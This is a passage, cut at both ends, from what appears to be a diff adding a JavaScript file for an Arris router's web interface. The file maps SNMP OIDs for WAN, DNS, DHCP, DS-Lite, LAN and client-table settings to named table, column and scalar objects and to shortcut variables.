Column("WanCurrentPrefix","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.4",66); +WanCurrentTable.WanCurrentGWType = new Column("WanCurrentGWType","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.5",2); +WanCurrentTable.WanCurrentGW = new Column("WanCurrentGW","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.6",4, 1); +WanCurrentTable.WanCurrentIPType = new Column("WanCurrentIPType","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.7",2); +WanCurrentTable.WanCurrentNetMask = new Column("WanCurrentNetMask","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.8",4, 1); +WanCurrentTable.WanCurrentPrefixDelegationV6 = new Column("WanCurrentPrefixDelegationV6","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.9",4, 1); +WanCurrentTable.WanCurrentPrefixDelegationV6Len = new Column("WanCurrentPrefixDelegationV6Len","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.10",66); +WanCurrentTable.WanCurrentPreferredLifetimeV6 = new Column("WanCurrentPreferredLifetimeV6","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.11",2); +WanCurrentTable.WanCurrentValidLifetimeV6 = new Column("WanCurrentValidLifetimeV6","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.12",2); +var arWanCurrentIPIndex=WanCurrentTable.WanCurrentIPIndex; +var arWanCurrentIPAddrType=WanCurrentTable.WanCurrentIPAddrType; +var arWanCurrentIPAddr=WanCurrentTable.WanCurrentIPAddr; +var arWanCurrentPrefix=WanCurrentTable.WanCurrentPrefix; +var arWanCurrentGWType=WanCurrentTable.WanCurrentGWType; +var arWanCurrentGW=WanCurrentTable.WanCurrentGW; +var arWanCurrentIPType=WanCurrentTable.WanCurrentIPType; +var arWanCurrentNetMask=WanCurrentTable.WanCurrentNetMask; +var arWanCurrentPrefixDelegationV6=WanCurrentTable.WanCurrentPrefixDelegationV6; +var arWanCurrentPrefixDelegationV6Len=WanCurrentTable.WanCurrentPrefixDelegationV6Len; +var arWanCurrentPreferredLifetimeV6=WanCurrentTable.WanCurrentPreferredLifetimeV6; +var arWanCurrentValidLifetimeV6=WanCurrentTable.WanCurrentValidLifetimeV6; + +var WanStaticTable = new Table("WanStaticTable", "1.3.6.1.4.1.4115.1.20.1.1.1.9"); +WanStaticTable.WanStaticIPIndex = new Column("WanStaticIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.1",66); +WanStaticTable.WanStaticIPAddrType = new Column("WanStaticIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.2",2); +WanStaticTable.WanStaticIPAddr = new Column("WanStaticIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.3",4, 1); +WanStaticTable.WanStaticPrefix = new Column("WanStaticPrefix","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.4",66); +WanStaticTable.WanStaticGatewayType = new Column("WanStaticGatewayType","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.5",2); +WanStaticTable.WanStaticGateway = new Column("WanStaticGateway","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.6",4, 1); +WanStaticTable.WanStaticRowStatus = new Column("WanStaticRowStatus","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.7",2); +WanStaticTable.WanDelegatedPrefixLength = new Column("WanDelegatedPrefixLength","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.8",66); +WanStaticTable.WanDelegatedPrefix = new Column("WanDelegatedPrefix","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.9",4, 1); +var arWanStaticIPIndex=WanStaticTable.WanStaticIPIndex; +var arWanStaticIPAddrType=WanStaticTable.WanStaticIPAddrType; +var arWanStaticIPAddr=WanStaticTable.WanStaticIPAddr; +var arWanStaticPrefix=WanStaticTable.WanStaticPrefix; +var arWanStaticGatewayType=WanStaticTable.WanStaticGatewayType; +var arWanStaticGateway=WanStaticTable.WanStaticGateway; +var arWanStaticRowStatus=WanStaticTable.WanStaticRowStatus; +var arWanDelegatedPrefixLength=WanStaticTable.WanDelegatedPrefixLength; +var arWanDelegatedPrefix=WanStaticTable.WanDelegatedPrefix; + +var WanTunnelObjects = new Container("WanTunnelObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.10"); +WanTunnelObjects.WanUserName= new Scalar("WanUserName","1.3.6.1.4.1.4115.1.20.1.1.1.10.1",4); +WanTunnelObjects.WanPassword= new Scalar("WanPassword","1.3.6.1.4.1.4115.1.20.1.1.1.10.2",4); +WanTunnelObjects.WanEnableIdleTimeout= new Scalar("WanEnableIdleTimeout","1.3.6.1.4.1.4115.1.20.1.1.1.10.3",2); +WanTunnelObjects.WanIdleTimeout= new Scalar("WanIdleTimeout","1.3.6.1.4.1.4115.1.20.1.1.1.10.4",66); +WanTunnelObjects.WanTunnelAddrType= new Scalar("WanTunnelAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.10.5",2); +WanTunnelObjects.WanTunnelAddr= new Scalar("WanTunnelAddr","1.3.6.1.4.1.4115.1.20.1.1.1.10.6",4, 1); +WanTunnelObjects.WanTunnelHostName= new Scalar("WanTunnelHostName","1.3.6.1.4.1.4115.1.20.1.1.1.10.7",4); +WanTunnelObjects.WanEnableKeepAlive= new Scalar("WanEnableKeepAlive","1.3.6.1.4.1.4115.1.20.1.1.1.10.8",2); +WanTunnelObjects.WanKeepAliveTimeout= new Scalar("WanKeepAliveTimeout","1.3.6.1.4.1.4115.1.20.1.1.1.10.9",66); +var arWanUserName=WanTunnelObjects.WanUserName; +var arWanPassword=WanTunnelObjects.WanPassword; +var arWanEnableIdleTimeout=WanTunnelObjects.WanEnableIdleTimeout; +var arWanIdleTimeout=WanTunnelObjects.WanIdleTimeout; +var arWanTunnelAddrType=WanTunnelObjects.WanTunnelAddrType; +var arWanTunnelAddr=WanTunnelObjects.WanTunnelAddr; +var arWanTunnelHostName=WanTunnelObjects.WanTunnelHostName; +var arWanEnableKeepAlive=WanTunnelObjects.WanEnableKeepAlive; +var arWanKeepAliveTimeout=WanTunnelObjects.WanKeepAliveTimeout; + +var WanDNSObjects = new Container("WanDNSObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.11"); +WanDNSObjects.WanUseAutoDNS= new Scalar("WanUseAutoDNS","1.3.6.1.4.1.4115.1.20.1.1.1.11.1",2); +WanDNSObjects.WanStaticDNSFreeIdx= new Scalar("WanStaticDNSFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.1.11.3",66); +var arWanUseAutoDNS=WanDNSObjects.WanUseAutoDNS; +var arWanStaticDNSFreeIdx=WanDNSObjects.WanStaticDNSFreeIdx; + +var WanCurrentDNSTable = new Table("WanCurrentDNSTable", "1.3.6.1.4.1.4115.1.20.1.1.1.11.2"); +WanCurrentDNSTable.WanCurrentDNSIPIndex = new Column("WanCurrentDNSIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.11.2.1.1",66); +WanCurrentDNSTable.WanCurrentDNSIPAddrType = new Column("WanCurrentDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.11.2.1.2",2); +WanCurrentDNSTable.WanCurrentDNSIPAddr = new Column("WanCurrentDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.11.2.1.3",4, 1); +var arWanCurrentDNSIPIndex=WanCurrentDNSTable.WanCurrentDNSIPIndex; +var arWanCurrentDNSIPAddrType=WanCurrentDNSTable.WanCurrentDNSIPAddrType; +var arWanCurrentDNSIPAddr=WanCurrentDNSTable.WanCurrentDNSIPAddr; + +var WanStaticDNSTable = new Table("WanStaticDNSTable", "1.3.6.1.4.1.4115.1.20.1.1.1.11.4"); +WanStaticDNSTable.WanStaticDNSIPIndex = new Column("WanStaticDNSIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.1",66); +WanStaticDNSTable.WanStaticDNSIPAddrType = new Column("WanStaticDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.2",2); +WanStaticDNSTable.WanStaticDNSIPAddr = new Column("WanStaticDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.3",4, 1); +WanStaticDNSTable.WanStaticDNSRowStatus = new Column("WanStaticDNSRowStatus","1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.4",2); +var arWanStaticDNSIPIndex=WanStaticDNSTable.WanStaticDNSIPIndex; +var arWanStaticDNSIPAddrType=WanStaticDNSTable.WanStaticDNSIPAddrType; +var arWanStaticDNSIPAddr=WanStaticDNSTable.WanStaticDNSIPAddr; +var arWanStaticDNSRowStatus=WanStaticDNSTable.WanStaticDNSRowStatus; + +var WanDHCPObjects = new Container("WanDHCPObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.12"); +WanDHCPObjects.WanRenewLease= new Scalar("WanRenewLease","1.3.6.1.4.1.4115.1.20.1.1.1.12.1",2); +WanDHCPObjects.WanReleaseLease= new Scalar("WanReleaseLease","1.3.6.1.4.1.4115.1.20.1.1.1.12.2",2); +WanDHCPObjects.WanDHCPDuration= new Scalar("WanDHCPDuration","1.3.6.1.4.1.4115.1.20.1.1.1.12.3",66); +WanDHCPObjects.WanDHCPExpire= new Scalar("WanDHCPExpire","1.3.6.1.4.1.4115.1.20.1.1.1.12.4",4, 1); +WanDHCPObjects.WanRenewLeaseV6= new Scalar("WanRenewLeaseV6","1.3.6.1.4.1.4115.1.20.1.1.1.12.5",2); +WanDHCPObjects.WanReleaseLeaseV6= new Scalar("WanReleaseLeaseV6","1.3.6.1.4.1.4115.1.20.1.1.1.12.6",2); +WanDHCPObjects.WanDHCPDurationV6= new Scalar("WanDHCPDurationV6","1.3.6.1.4.1.4115.1.20.1.1.1.12.7",66); +WanDHCPObjects.WanDHCPExpireV6= new Scalar("WanDHCPExpireV6","1.3.6.1.4.1.4115.1.20.1.1.1.12.8",4, 1); +var arWanRenewLease=WanDHCPObjects.WanRenewLease; +var arWanReleaseLease=WanDHCPObjects.WanReleaseLease; +var arWanDHCPDuration=WanDHCPObjects.WanDHCPDuration; +var arWanDHCPExpire=WanDHCPObjects.WanDHCPExpire; +var arWanRenewLeaseV6=WanDHCPObjects.WanRenewLeaseV6; +var arWanReleaseLeaseV6=WanDHCPObjects.WanReleaseLeaseV6; +var arWanDHCPDurationV6=WanDHCPObjects.WanDHCPDurationV6; +var arWanDHCPExpireV6=WanDHCPObjects.WanDHCPExpireV6; + +var PrivateWanObjects = new Container("PrivateWanObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.15"); +PrivateWanObjects.PrivateWanRenewLease= new Scalar("PrivateWanRenewLease","1.3.6.1.4.1.4115.1.20.1.1.1.15.1",2); +PrivateWanObjects.PrivateWanReleaseLease= new Scalar("PrivateWanReleaseLease","1.3.6.1.4.1.4115.1.20.1.1.1.15.2",2); +PrivateWanObjects.PrivateWanDHCPDuration= new Scalar("PrivateWanDHCPDuration","1.3.6.1.4.1.4115.1.20.1.1.1.15.3",66); +PrivateWanObjects.PrivateWanDHCPExpire= new Scalar("PrivateWanDHCPExpire","1.3.6.1.4.1.4115.1.20.1.1.1.15.4",4, 1); +PrivateWanObjects.PrivateWanCurrentIPAddrType= new Scalar("PrivateWanCurrentIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.15.5",2); +PrivateWanObjects.PrivateWanCurrentIPAddr= new Scalar("PrivateWanCurrentIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.15.6",4, 1); +PrivateWanObjects.PrivateWanCurrentPrefix= new Scalar("PrivateWanCurrentPrefix","1.3.6.1.4.1.4115.1.20.1.1.1.15.7",66); +PrivateWanObjects.PrivateWanCurrentGWType= new Scalar("PrivateWanCurrentGWType","1.3.6.1.4.1.4115.1.20.1.1.1.15.8",2); +PrivateWanObjects.PrivateWanCurrentGW= new Scalar("PrivateWanCurrentGW","1.3.6.1.4.1.4115.1.20.1.1.1.15.9",4, 1); +PrivateWanObjects.PrivateWanCurrentNetMask= new Scalar("PrivateWanCurrentNetMask","1.3.6.1.4.1.4115.1.20.1.1.1.15.10",4, 1); +PrivateWanObjects.PrivateWanCurrentDomainName= new Scalar("PrivateWanCurrentDomainName","1.3.6.1.4.1.4115.1.20.1.1.1.15.11",4); +PrivateWanObjects.PrivateWanInterfaceName= new Scalar("PrivateWanInterfaceName","1.3.6.1.4.1.4115.1.20.1.1.1.15.12",4); +PrivateWanObjects.PrivateWanMacAddr= new Scalar("PrivateWanMacAddr","1.3.6.1.4.1.4115.1.20.1.1.1.15.13",4, 1); +var arPrivateWanRenewLease=PrivateWanObjects.PrivateWanRenewLease; +var arPrivateWanReleaseLease=PrivateWanObjects.PrivateWanReleaseLease; +var arPrivateWanDHCPDuration=PrivateWanObjects.PrivateWanDHCPDuration; +var arPrivateWanDHCPExpire=PrivateWanObjects.PrivateWanDHCPExpire; +var arPrivateWanCurrentIPAddrType=PrivateWanObjects.PrivateWanCurrentIPAddrType; +var arPrivateWanCurrentIPAddr=PrivateWanObjects.PrivateWanCurrentIPAddr; +var arPrivateWanCurrentPrefix=PrivateWanObjects.PrivateWanCurrentPrefix; +var arPrivateWanCurrentGWType=PrivateWanObjects.PrivateWanCurrentGWType; +var arPrivateWanCurrentGW=PrivateWanObjects.PrivateWanCurrentGW; +var arPrivateWanCurrentNetMask=PrivateWanObjects.PrivateWanCurrentNetMask; +var arPrivateWanCurrentDomainName=PrivateWanObjects.PrivateWanCurrentDomainName; +var arPrivateWanInterfaceName=PrivateWanObjects.PrivateWanInterfaceName; +var arPrivateWanMacAddr=PrivateWanObjects.PrivateWanMacAddr; + +var PrivateWanCurrentDNSTable = new Table("PrivateWanCurrentDNSTable", "1.3.6.1.4.1.4115.1.20.1.1.1.15.14"); +PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPIndex = new Column("PrivateWanCurrentDNSIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.15.14.1.1",66); +PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddrType = new Column("PrivateWanCurrentDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.15.14.1.2",2); +PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddr = new Column("PrivateWanCurrentDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.15.14.1.3",4, 1); +var arPrivateWanCurrentDNSIPIndex=PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPIndex; +var arPrivateWanCurrentDNSIPAddrType=PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddrType; +var arPrivateWanCurrentDNSIPAddr=PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddr; + +var DSLiteWanObjects = new Container("DSLiteWanObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.18"); +DSLiteWanObjects.DSLiteWanEnable= new Scalar("DSLiteWanEnable","1.3.6.1.4.1.4115.1.20.1.1.1.18.1",2); +DSLiteWanObjects.DSLiteWanLSNATAddrType= new Scalar("DSLiteWanLSNATAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.18.2",2); +DSLiteWanObjects.DSLiteWanLSNATAddr= new Scalar("DSLiteWanLSNATAddr","1.3.6.1.4.1.4115.1.20.1.1.1.18.3",4, 1); +var arDSLiteWanEnable=DSLiteWanObjects.DSLiteWanEnable; +var arDSLiteWanLSNATAddrType=DSLiteWanObjects.DSLiteWanLSNATAddrType; +var arDSLiteWanLSNATAddr=DSLiteWanObjects.DSLiteWanLSNATAddr; + + + +var LanConfig = new Container("LanConfig", "1.3.6.1.4.1.4115.1.20.1.1.2"); +LanConfig.LanCount= new Scalar("LanCount","1.3.6.1.4.1.4115.1.20.1.1.2.1",66); +LanConfig.LanSettings= new Scalar("LanSettings","1.3.6.1.4.1.4115.1.20.1.1.2.6",2); +var arLanCount=LanConfig.LanCount; +var arLanSettings=LanConfig.LanSettings; + +var LanSrvTable = new Table("LanSrvTable", "1.3.6.1.4.1.4115.1.20.1.1.2.2"); +LanSrvTable.LanName = new Column("LanName","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.1",4); +LanSrvTable.LanSubnetMaskType = new Column("LanSubnetMaskType","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.2",2); +LanSrvTable.LanSubnetMask = new Column("LanSubnetMask","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.3",4, 1); +LanSrvTable.LanGatewayIpType = new Column("LanGatewayIpType","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.4",2); +LanSrvTable.LanGatewayIp = new Column("LanGatewayIp","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.5",4, 1); +LanSrvTable.LanGatewayIp2Type = new Column("LanGatewayIp2Type","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.6",2); +LanSrvTable.LanGatewayIp2 = new Column("LanGatewayIp2","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.7",4, 1); +LanSrvTable.LanVLanID = new Column("LanVLanID","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.8",66); +LanSrvTable.LanUseDHCP = new Column("LanUseDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.9",2); +LanSrvTable.LanStartDHCPType = new Column("LanStartDHCPType","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.10",2); +LanSrvTable.LanStartDHCP = new Column("LanStartDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.11",4, 1); +LanSrvTable.LanEndDHCPType = new Column("LanEndDHCPType","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.12",2); +LanSrvTable.LanEndDHCP = new Column("LanEndDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.13",4, 1); +LanSrvTable.LanLeaseTime = new Column("LanLeaseTime","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.14",66); +LanSrvTable.LanDomainName = new Column("LanDomainName","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.15",4, 1); +LanSrvTable.LanRateLimit = new Column("LanRateLimit","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.16",2); +LanSrvTable.LanDownRateLimit = new Column("LanDownRateLimit","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.17",66); +LanSrvTable.LanUpRateLimit = new Column("LanUpRateLimit","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.18",66); +LanSrvTable.LanRelayDNS = new Column("LanRelayDNS","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.19",2); +LanSrvTable.LanIPv6Mode = new Column("LanIPv6Mode","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.20",2); +LanSrvTable.LanPassThru = new Column("LanPassThru","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.21",2); +LanSrvTable.LanFirewallOn = new Column("LanFirewallOn","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.22",2); +LanSrvTable.LanUPnPEnable = new Column("LanUPnPEnable","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.23",2); +LanSrvTable.LanCPEAging = new Column("LanCPEAging","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.24",2); +LanSrvTable.LanOverrideDNS = new Column("LanOverrideDNS","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.25",2); +LanSrvTable.LanNatAlgsEnabled = new Column("LanNatAlgsEnabled","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.26",4, 1); +LanSrvTable.LanMappedInterface = new Column("LanMappedInterface","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.27",66); +LanSrvTable.LanEnvironmentControl = new Column("LanEnvironmentControl","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.28",2); +LanSrvTable.LanPrefixLengthV6 = new Column("LanPrefixLengthV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.29",66); +LanSrvTable.LanUseDHCPV6 = new Column("LanUseDHCPV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.30",2); +LanSrvTable.LanStartDHCPV6 = new Column("LanStartDHCPV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.31",4, 1); +LanSrvTable.LanEndDHCPV6 = new Column("LanEndDHCPV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.32",4, 1); +LanSrvTable.LanLeaseTimeV6 = new Column("LanLeaseTimeV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.33",66); +LanSrvTable.LanLinkLocalAddressV6 = new Column("LanLinkLocalAddressV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.34",4, 1); +LanSrvTable.LanDNSRelayV6 = new Column("LanDNSRelayV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.35",2); +LanSrvTable.LanDNSOverrideV6 = new Column("LanDNSOverrideV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.36",2); +LanSrvTable.LanRouterAdminBridgeOptionDisplay = new Column("LanRouterAdminBridgeOptionDisplay","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.38",2); + +// scm start +//LanSrvTable.LanQosEnable = new Column("LanQosEnable","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.46",2); +// scm end +var arLanName=LanSrvTable.LanName; +var arLanSubnetMaskType=LanSrvTable.LanSubnetMaskType; +var arLanSubnetMask=LanSrvTable.LanSubnetMask; +var arLanGatewayIpType=LanSrvTable.LanGatewayIpType; +var arLanGatewayIp=LanSrvTable.LanGatewayIp; +var arLanGatewayIp2Type=LanSrvTable.LanGatewayIp2Type; +var arLanGatewayIp2=LanSrvTable.LanGatewayIp2; +var arLanVLanID=LanSrvTable.LanVLanID; +var arLanUseDHCP=LanSrvTable.LanUseDHCP; +var arLanStartDHCPType=LanSrvTable.LanStartDHCPType; +var arLanStartDHCP=LanSrvTable.LanStartDHCP; +var arLanEndDHCPType=LanSrvTable.LanEndDHCPType; +var arLanEndDHCP=LanSrvTable.LanEndDHCP; +var arLanLeaseTime=LanSrvTable.LanLeaseTime; +var arLanDomainName=LanSrvTable.LanDomainName; +var arLanRateLimit=LanSrvTable.LanRateLimit; +var arLanDownRateLimit=LanSrvTable.LanDownRateLimit; +var arLanUpRateLimit=LanSrvTable.LanUpRateLimit; +var arLanRelayDNS=LanSrvTable.LanRelayDNS; +var arLanIPv6Mode=LanSrvTable.LanIPv6Mode; +var arLanPassThru=LanSrvTable.LanPassThru; +var arLanFirewallOn=LanSrvTable.LanFirewallOn; +var arLanUPnPEnable=LanSrvTable.LanUPnPEnable; +var arLanCPEAging=LanSrvTable.LanCPEAging; +var arLanOverrideDNS=LanSrvTable.LanOverrideDNS; +var arLanNatAlgsEnabled=LanSrvTable.LanNatAlgsEnabled; +var arLanMappedInterface=LanSrvTable.LanMappedInterface; +var arLanEnvironmentControl=LanSrvTable.LanEnvironmentControl; +var arLanPrefixLengthV6=LanSrvTable.LanPrefixLengthV6; +var arLanUseDHCPV6=LanSrvTable.LanUseDHCPV6; +var arLanStartDHCPV6=LanSrvTable.LanStartDHCPV6; +var arLanEndDHCPV6=LanSrvTable.LanEndDHCPV6; +var arLanLeaseTimeV6=LanSrvTable.LanLeaseTimeV6; +var arLanLinkLocalAddressV6=LanSrvTable.LanLinkLocalAddressV6; +var arLanDNSRelayV6=LanSrvTable.LanDNSRelayV6; +var arLanDNSOverrideV6=LanSrvTable.LanDNSOverrideV6; +//var arLanQosEnable=LanSrvTable.LanQosEnable;//added +var arLanRouterAdminBridgeOptionDisplay=LanSrvTable.LanRouterAdminBridgeOptionDisplay; + +var arrisRouterLanSrvDiscoveryObjs = new Container("arrisRouterLanSrvDiscoveryObjs", "1.3.6.1.4.1.4115.1.20.1.1.2.7"); +arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPAdvTime= new Scalar("arrisRouterLanUPnPAdvTime","1.3.6.1.4.1.4115.1.20.1.1.2.7.1", 66); +arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPTtl= new Scalar("arrisRouterLanUPnPTtl","1.3.6.1.4.1.4115.1.20.1.1.2.7.2", 66); +arrisRouterLanSrvDiscoveryObjs.arrisRouterLanZeroConf= new Scalar("arrisRouterLanZeroConf","1.3.6.1.4.1.4115.1.20.1.1.2.7.3", 2); +arrisRouterLanSrvDiscoveryObjs.arrisRouterLanQosUPnP= new Scalar("arrisRouterLanQosUPnP","1.3.6.1.4.1.4115.1.20.1.1.2.7.4", 2); +var arLanUPnPAdvTime=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPAdvTime; +var arLanUPnPTtl=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPTtl; +var arLanZeroConf=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanZeroConf; +var arLanQosUPnP=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanQosUPnP; + + +var LanDNSTable = new Table("LanDNSTable", "1.3.6.1.4.1.4115.1.20.1.1.2.3"); +LanDNSTable.LanDNSIdx = new Column("LanDNSIdx","1.3.6.1.4.1.4115.1.20.1.1.2.3.1.1",66); +LanDNSTable.LanDNSIPAddrType = new Column("LanDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.3.1.2",2); +LanDNSTable.LanDNSIPAddr = new Column("LanDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.3.1.3",4, 1); +LanDNSTable.LanDNSRowStatus = new Column("LanDNSRowStatus","1.3.6.1.4.1.4115.1.20.1.1.2.3.1.4",2); +var arLanDNSIdx=LanDNSTable.LanDNSIdx; +var arLanDNSIPAddrType=LanDNSTable.LanDNSIPAddrType; +var arLanDNSIPAddr=LanDNSTable.LanDNSIPAddr; +var arLanDNSRowStatus=LanDNSTable.LanDNSRowStatus; + +var CmDoc30DhcpLeaseParameters = new Container("CmDoc30DhcpLeaseParameters","1.3.6.1.4.1.4115.1.3.4.1.4.1"); +CmDoc30DhcpLeaseParameters.DhcpLeaseTimeRemaining = new Scalar("DhcpLeaseTimeRemaining","1.3.6.1.4.1.4115.1.3.4.1.4.1.4",2); +var arDhcpLeaseTimeRemaining = CmDoc30DhcpLeaseParameters.DhcpLeaseTimeRemaining; +CmDoc30DhcpLeaseParameters.DhcpOfferedLeaseTime = new Scalar("DhcpOfferedLeaseTime","1.3.6.1.4.1.4115.1.3.4.1.4.1.1",2); +CmDoc30DhcpLeaseParameters.DhcpTimeUntilRenew = new Scalar("DhcpTimeUntilRenew","1.3.6.1.4.1.4115.1.3.4.1.4.1.2",2); +CmDoc30DhcpLeaseParameters.DhcpTimeUntilRebind = new Scalar("DhcpTimeUntilRebind","1.3.6.1.4.1.4115.1.3.4.1.4.1.3",2); +var arDhcpOfferedLeaseTime = CmDoc30DhcpLeaseParameters.DhcpOfferedLeaseTime; +var arDhcpTimeUntilRenew = CmDoc30DhcpLeaseParameters.DhcpTimeUntilRenew; +var arDhcpTimeUntilRebind = CmDoc30DhcpLeaseParameters.DhcpTimeUntilRebind; + +var ClientObjects = new Container("ClientObjects", "1.3.6.1.4.1.4115.1.20.1.1.2.4"); +ClientObjects.LanClientCount= new Scalar("LanClientCount","1.3.6.1.4.1.4115.1.20.1.1.2.4.1",66); +ClientObjects.LanCustomCount= new Scalar("LanCustomCount","1.3.6.1.4.1.4115.1.20.1.1.2.4.4",66); +var arLanClientCount=ClientObjects.LanClientCount; +var arLanCustomCount=ClientObjects.LanCustomCount; + +var LanClientTable = new Table("LanClientTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.2"); +LanClientTable.LanClientIPAddrType = new Column("LanClientIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.1",2); +LanClientTable.LanClientIPAddr = new Column("LanClientIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.2",4, 1); +LanClientTable.LanClientHostName = new Column("LanClientHostName","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.3",4); +LanClientTable.LanClientMAC = new Column("LanClientMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.4",4, 1); +LanClientTable.LanClientMACMfg = new Column("LanClientMACMfg","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.5",4); +LanClientTable.LanClientAdapterType = new Column("LanClientAdapterType","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.6",2); +LanClientTable.LanClientType = new Column("LanClientType","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.7",2); +LanClientTable.LanClientLeaseStart = new Column("LanClientLeaseStart","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.8",4, 1); +LanClientTable.LanClientLeaseEnd = new Column("LanClientLeaseEnd","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.9",4, 1); +LanClientTable.LanClientStatus = new Column("LanClientStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.10",2); +LanClientTable.LanClientInfLease = new Column("LanClientInfLease","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.11",2); +LanClientTable.LanClientLeaseState = new Column("LanClientLeaseState","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.12",2); +LanClientTable.LanClientRowStatus = new Column("LanClientRowStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.13",2); +LanClientTable.LanClientOnline = new Column("LanClientOnline","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.14",2); +LanClientTable.LanClientComment = new Column("LanClientComment","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.15",4); +LanClientTable.LanClientCustom = new Column("LanClientCustom","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.16",2); +// scm start +LanClientTable.LanClientDeviceName = new Column("LanClientDeviceName", "1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.20", 2); +LanClientTable.LanClientRSSI = new Column("LanClientRSSI", "1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.21", 2); +LanClientTable.LanClientLinkLocalAddr= new Column("LanClientLinkLocalAddr", 